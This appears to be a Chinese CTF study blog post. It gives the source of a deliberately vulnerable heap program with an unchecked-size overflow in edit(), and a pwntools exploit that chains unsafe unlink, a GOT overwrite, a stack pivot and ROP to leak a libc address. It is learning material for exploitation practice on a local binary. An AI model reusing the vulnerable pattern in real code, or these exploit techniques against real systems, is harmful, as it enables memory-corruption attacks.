本篇补充之前复习Unlink的文章。

在HITCON stkof的WriteUp中,提到了另外一种leak libc并getshell的方法,这里给出一个leak libc的demo,但是getshell没有成功,之后再继续补充。

Binary source code

二进制程序的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<signal.h>


char* chunk_list[0x200];
int index;


void handler(int signum)
{
puts("timeout");
exit(1);
}

void set_up()
{
//signal(SIGALRM, handler);
//alarm(30);

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}

void menu()
{
puts("1. add");
puts("2. edit");
puts("3. show");
puts("4. delete");
puts("5. exit");
printf(">> ");
}

int add()
{
int size = 0;
char* ptr;
char s[0x20];
puts("input size");
printf(">> ");
fgets(s, 0x20, stdin);
size = atol(s);
if(size <= 0 || size >= 0x500)
{
return 100;
}
printf("size: %d\n", size);
ptr = (char*)malloc(size);
if(!ptr)
{
return 100;
}
chunk_list[index] = ptr;
printf("index: %d\n", index);
index++;
return 0;
}

int edit()
{
int id = 0;
char s[0x20];
int size = 0;
char* ptr;
int i = 0;
puts("input index");
printf(">> ");
fgets(s, 0x20, stdin);
id = atol(s);
printf("id=%d\n", id);
if(id < 0 || id >= 0x10 || !chunk_list[id])
{
return 100;
}
ptr = chunk_list[id];
puts("input size");
printf(">> ");
fgets(s, 0x10, stdin);
size = atol(s);
printf("size=%d\n", size);
puts("input data");
printf(">> ");
read(0, ptr, size);
//check();
return 0;
}

int show()
{
puts("NO");
return 0;
}

int delete()
{
int id = 0;
char s[0x20];
char* ptr;
puts("input index");
printf(">> ");
fgets(s, 0x20, stdin);
id = atol(s);
if(id < 0 || id >= 0x10 || !chunk_list[id])
{
return 100;
}
ptr = chunk_list[id];
free(ptr);
chunk_list[id] = 0;
//check();
return 0;
}

int main()
{
int choice = 0;
char buf[0x10];
int result = 0;

set_up();
index = 0;

menu();
while(fgets(buf, 10, stdin))
{
choice = atoi(buf);
switch(choice)
{
case 1:
result = add();
break;
case 2:
result = edit();
break;
case 3:
result = show();
break;
case 4:
result = delete();
break;
case 5:
puts("bye");
exit(0);
default:
break;
}
if(result == 0)
{
puts("OK");
}
else
{
puts("ERROR");
}
menu();
}
}

漏洞主要在于edit时的堆溢出,和stkof相同。二进制在这里:a.out

Leak libc

首先是一些方便的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import sys

# context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './a.out'
HOST = '127.0.0.1'
PORT = 1234

chunk_list = 0x6020e0

pop_pop_pop_ret = 0x0000000000400e6e
pop_rsp_pop_pop_pop_ret = 0x0000000000400e6d
pop_rdi_ret = 0x0000000000400e73

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('>> ', str(size))

def edit(index, size, data):
p.sendlineafter('>> ', '2')
p.sendlineafter('>> ', str(index))
p.sendlineafter('>> ', str(size))
p.sendafter('>> ', data)

def delete(index):
p.sendlineafter('>> ', '4')
p.sendlineafter('>> ', str(index))

csu_front_addr = 0x400e50
csu_end_addr = 0x400e6a

def csu(s, rbx, rbp, r12, r13, r14, r15): #, last):

#pl = 'a'*0x80+'bbbbbbbb' # fake ebp
pl = ''
pl += p64(csu_end_addr)+p64(rbx)+p64(rbp)
pl += p64(r12)+p64(r13)+p64(r14)+p64(r15)
pl += p64(csu_front_addr)
pl += s*0x38
#pl += p64(last)
log.info('csu len: '+hex(len(pl)))
return pl

这里加了ret2csu的内容,因为之后也可以用到。正经的部分:

首先还是unlink,不细说。

1
2
3
4
5
6
7
8
9
10
11
12
def exploit(p):
# unlink
add(0x200) #0
add(0x200) #1
add(0x200) #2

pl = p64(0)+p64(0x201)
pl += p64(chunk_list-0x18)+p64(chunk_list-0x10)
pl += (0x200-4*8)*'a'
pl += p64(0x200)+p64(0x210)
edit(0, len(pl), pl)
delete(1)

经过unlink后,chunk0的指针指向了-0x18的位置。覆盖的内容如下:

1
2
3
4
pl = p64(0)*3									 # padding 0x18	
pl += p64(chunk_list+0x20) # 0
pl += p64(elf.got['atol']) # 1
edit(0, len(pl), pl)

存储chunk_list+0x20是为了方便后面的覆盖,之后留了一个atol的got。

1
2
3
4
5
6
7
8
9
10
11
12
pop_rbp_ret = 0x0000000000400800

system_store = 0x6030a0
fgets_gadget = 0x00000000004009F2
read_gadget = 0x400bdd

# puts(free@got)
pl = ''
pl += p64(pop_rdi_ret) # <- 0x602100
pl += p64(elf.got['free'])
pl += p64(elf.plt['puts'])
edit(0, len(pl), pl)

这一段是存储在chunk_list+0x20处的ROP链,可以leak libc的地址。当然和上一次edit合并,一起edit也是可以的。如果想调用其他的函数,可以通过ret2csu来实现:

1
pl += csu('a', 0, 1, elf.got['puts'], 0, 0, elf.got['free'])

之后修改了atol@got:

1
edit(1, 8, p64(pop_pop_pop_ret))

其中pop_pop_pop_ret会把fgets时出入附近的值pop出来,由于长度够长,我们的输入可以在ret的时候控制rip。之后,我们在输入的时候就可以把stack pivot的payload输入进去:

1
2
3
4
5
6
7
8
pl = p64(pop_rsp_pop_pop_pop_ret)+p64(0x602108-0x20)*3
p.sendline('4')
p.send(pl)
p.recvuntil('>> input index\n>> ')
free_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info('free: '+hex(free_addr))

p.interactive()

pop_rsp_pop_pop_pop_ret会把输入中的值作为rsp弹出来,之后算一下目标值的差值改一下就好。

这样,在fgets执行后进行atol的时候,栈就会被劫持到chunk_list+0x20的地方,即可leak libc。

Getshell

理论上是可以通过chunk_list附近rop来getshell的,但是自己没有复现成功,思路就是:

  • leak libc后,通过fgets或者write继续在栈上写system的地址
  • 同样的方法,读入binsh
  • 这样加上之前的payload,就可以执行pop_rdi_ret+binsh+system来getshell了

自己在复现的时候出的问题:

  • 想通过read读输入,但是直接运行完了并没有读输入,难道是需要fflush(0)?
  • 想通过fgets读输入,直接运行程序里的gadget,但是stdin的地址不对,执行不了

之后再填坑好了。

此处完整的exp(有很多注释就不删了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
import sys

# context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './a.out'
HOST = '127.0.0.1'
PORT = 1234

chunk_list = 0x6020e0

pop_pop_pop_ret = 0x0000000000400e6e
pop_rsp_pop_pop_pop_ret = 0x0000000000400e6d
pop_rdi_ret = 0x0000000000400e73

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('>> ', str(size))

def edit(index, size, data):
p.sendlineafter('>> ', '2')
p.sendlineafter('>> ', str(index))
p.sendlineafter('>> ', str(size))
p.sendafter('>> ', data)

def delete(index):
p.sendlineafter('>> ', '4')
p.sendlineafter('>> ', str(index))

csu_front_addr = 0x400e50
csu_end_addr = 0x400e6a

def csu(s, rbx, rbp, r12, r13, r14, r15): #, last):

#pl = 'a'*0x80+'bbbbbbbb' # fake ebp
pl = ''
pl += p64(csu_end_addr)+p64(rbx)+p64(rbp)
pl += p64(r12)+p64(r13)+p64(r14)+p64(r15)
pl += p64(csu_front_addr)
pl += s*0x38
#pl += p64(last)
log.info('csu len: '+hex(len(pl)))
return pl

def exploit(p):
# unlink
add(0x200) #0
add(0x200) #1
add(0x200) #2

pl = p64(0)+p64(0x201)
pl += p64(chunk_list-0x18)+p64(chunk_list-0x10)
pl += (0x200-4*8)*'a'
pl += p64(0x200)+p64(0x210)
edit(0, len(pl), pl)
delete(1)

pl = p64(0)*3
pl += p64(chunk_list+0x20) # 0
pl += p64(elf.got['atol']) # 1
edit(0, len(pl), pl)

#edit(1, 8, p64(pop_pop_pop_ret))


pl = p64(chunk_list)
'''
pl += p64(0x400E66) # <- 0x602100
pl += p64(0x400E66)
pl += p64(0x400E66)
pl += p64(0x400E66)
'''

pop_rbp_ret = 0x0000000000400800

system_store = 0x6030a0
fgets_gadget = 0x00000000004009F2
read_gadget = 0x400bdd

# puts(free@got)
pl = ''
pl += p64(pop_rdi_ret) # <- 0x602100
pl += p64(elf.got['free'])
pl += p64(elf.plt['puts'])

# fflush(0)
#pl += p64(pop_rdi_ret)
#pl += p64(0)
#pl += p64(elf.plt['fflush'])

# control rbp call fgets
#pl += p64(pop_rbp_ret)
#pl += p64(system_store)
#pl += p64(fgets_gadget)

pl += p64(pop_rbp_ret)
pl += p64(system_store)
pl += p64(read_gadget)


#pl += csu('a', 0, 1, elf.got['puts'], 0, 0, elf.got['free'])
#pl += csu(0, 1, elf.got['puts'], 0, 0, elf.got['free']) #, 0x602198)
#pl += csu(0, 1, elf.got['puts'], 0, 0, elf.got['free']) #, 0x602198)
#pl += csu('c', 0, 1, elf.got['fgets'], 0x6020b0, 16, 0x6030a0)#, 0x400cf0)
# pl += csu('b', 0, 1, elf.got['read'], 16, 0x6030a0, 0)

#pl += p64(0x400B07) # call fgets
#pl += p64(0x12345678)

#pl += p64(0x400ab7)

print len(pl)
#pause()

edit(0, len(pl), pl)

edit(1, 8, p64(pop_pop_pop_ret))
# pop pop pop ret
#pl = 'a'*8+'b'*8+'c'*8+'d'*8
pl = p64(pop_rsp_pop_pop_pop_ret)+p64(0x602108-0x20)*3
p.sendline('4')
p.send(pl)
p.recvuntil('>> input index\n>> ')
free_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info('free: '+hex(free_addr))

p.interactive()

return

if __name__ == "__main__":
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
pause()
if DEBUG:
gdb.attach(p)
exploit(p)

运行效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[DEBUG] Received 0x15 bytes:
'size=8\n'
'input data\n'
'>> '
[DEBUG] Sent 0x8 bytes:
00000000 6e 0e 40 00 00 00 00 00 │n·@·│····││
00000008
[DEBUG] Sent 0x2 bytes:
'4\n'
[DEBUG] Sent 0x20 bytes:
00000000 6d 0e 40 00 00 00 00 00 e8 20 60 00 00 00 00 00 │m·@·│····│· `·│····│
00000010 e8 20 60 00 00 00 00 00 e8 20 60 00 00 00 00 00 │· `·│····│· `·│····│
00000020
[DEBUG] Received 0x45 bytes:
00000000 4f 4b 0a 31 2e 20 61 64 64 0a 32 2e 20 65 64 69 │OK·1│. ad│d·2.│ edi│
00000010 74 0a 33 2e 20 73 68 6f 77 0a 34 2e 20 64 65 6c │t·3.│ sho│w·4.│ del│
00000020 65 74 65 0a 35 2e 20 65 78 69 74 0a 3e 3e 20 69 │ete·│5. e│xit·│>> i│
00000030 6e 70 75 74 20 69 6e 64 65 78 0a 3e 3e 20 f0 94 │nput│ ind│ex·>│> ··│
00000040 83 19 d4 7f 0a │····│·│
00000045
[*] free: 0x7fd4198394f0
[*] Switching to interactive mode

[*] Got EOF while reading in interactive
$

如果出题的话,可以通过禁用shell函数,通过ROP来读flag文件。